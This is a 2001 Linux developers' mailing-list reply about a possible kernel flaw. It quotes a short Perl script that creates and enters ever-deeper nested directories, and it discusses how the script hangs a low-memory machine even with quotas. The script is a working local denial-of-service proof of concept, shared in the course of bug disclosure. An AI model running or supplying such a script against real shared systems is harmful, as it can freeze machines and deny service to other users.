[offtopic] : a small DoS
Michal Moskal
malekith w pld.org.pl
Pon, 15 Sty 2001, 15:36:40 CET
On Mon, Jan 15, 2001 at 02:30:39PM +0100, Crazniety wrote:
> On Mon, 15 Jan 2001, Michal Moskal wrote:
>
> > Is there any limit for inodes alloacted
> > per user in kernel. W/o it any local user
> > can prevent machine from any acticvity...
> > ------
> > #!/usr/bin/perl
> >
> > $n=0;
> > while (1) {
> > $n++;
> > mkdir("x", 0700) || last;
> > chdir("x");
> > }
> > print "Done at $n\n";
> > sleep(100);
> > ------
> > I wonder whatever it's known or should i sent
> > it to bugtraq ?
>
> Hm.. Did you try that with quota on ?
>
Well, this depends on amount of physcial RAM
on your box. my box hangs at about 2000-3000
directory levels, depending on ther load,
i have 32mb. i would have to limit number
of inodes under that which i don't want to do
since some projects have more then 1000 files.
Of course having 10000 files doesn't couse
any DoS, only having that much directories
and being inside them.
>
> -------------------------
> crazy w rudy.mif.pg.gda.pl
--
Michał Moskal <malekith w pld.org.pl>
5191204625270805457964695575480234779108160500582132743089099204
5387169364764370076473597425941183680741973762154745366983057996
3022327445184252093714797111892347913483105724113222069964409702
905357106994771308266205
Więcej informacji o liście dyskusyjnej pld-devel-pl